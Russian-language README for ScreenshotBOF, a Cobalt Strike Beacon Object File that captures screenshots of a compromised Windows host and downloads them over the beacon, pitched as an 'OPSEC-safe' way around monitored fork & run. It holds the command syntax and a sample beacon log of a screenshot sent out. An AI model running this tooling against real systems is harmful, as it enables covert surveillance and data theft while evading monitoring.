ScreenshotBOF

Альтернативная возможность создания скриншотов для Cobalt Strike, использующая WinAPI и не выполняющая fork & run. Скриншот загружается в память.

Возможности

• Сжатие JPEG
• Загрузка в память как скриншот или как файл
• Поддержка захвата свернутых окон
• Оттенки серого, качество JPEG и уменьшение масштаба для уменьшения размера файла

Самостоятельная компиляция

1. git clone the repo
2. выполните make

Способы сохранения:

0. сбросить файл на диск
1. загрузить файл через beacon (только Cobalt Strike)
2. загрузить файл через beacon как скриншот (только Cobalt Strike)

PID

0: захват полного экрана (PID = 0) конкретный PID: захват конкретного PID (работает даже при свернутом окне!)

Использование

1. импортируйте скрипт screenshotBOF.cna в Cobalt Strike
2. используйте команду screenshot_bof {локальный файл} {метод сохранения 0/1/2} {pid/0} {оттенки серого 0/1} {качество 0-100} {масштаб 0-100}
   • запуск screenshot_bof без аргументов вызовет диалоговое окно GUI

beacon> screenshot_bof file.jpg 2 21964 0 90 100
[*] Running screenshot BOF by (@codex_tf2)
[+] host called home, sent: 12421 bytes
[+] received output:
Downloading JPEG over beacon as a screenshot with filename file.jpg
[*] received screenshot of Screenshot from Admin (26kb)
[+] received output:
Screenshot saved/downloaded successfully

Примечания

• обходные пути (evasion) не применяются, что не должно быть проблемой, поскольку используемые WinAPI не являются вредоносными

Зачем я это сделал?

Cobalt Strike использует технику, известную как fork & run, для многих своих возможностей пост-эксплуатации, включая команду screenshot. Хотя такое поведение обеспечивает стабильность, сейчас оно хорошо известно и активно мониторится. Этот BOF предназначен для предоставления более OPSEC-безопасной версии функции создания скриншотов.

Благодарности

• Сохранение BMP в файл из https://stackoverflow.com/a/60667564
• Загрузка в память из https://github.com/anthemtotheego/CredBandit
• @BinaryFaultline за (устаревший) рендеринг BMP в aggressor-скрипте и функцию обратного вызова скриншота
• Преобразование bitmap в JPEG из https://github.com/WKL-Sec/HiddenDesktop

Отказ от ответственности

обычный отказ от ответственности, я не несу ответственности за любые преступления против человечества, которые вы можете совершить, или ядерную войну, которую вы можете вызвать, используя этот плохо написанный код.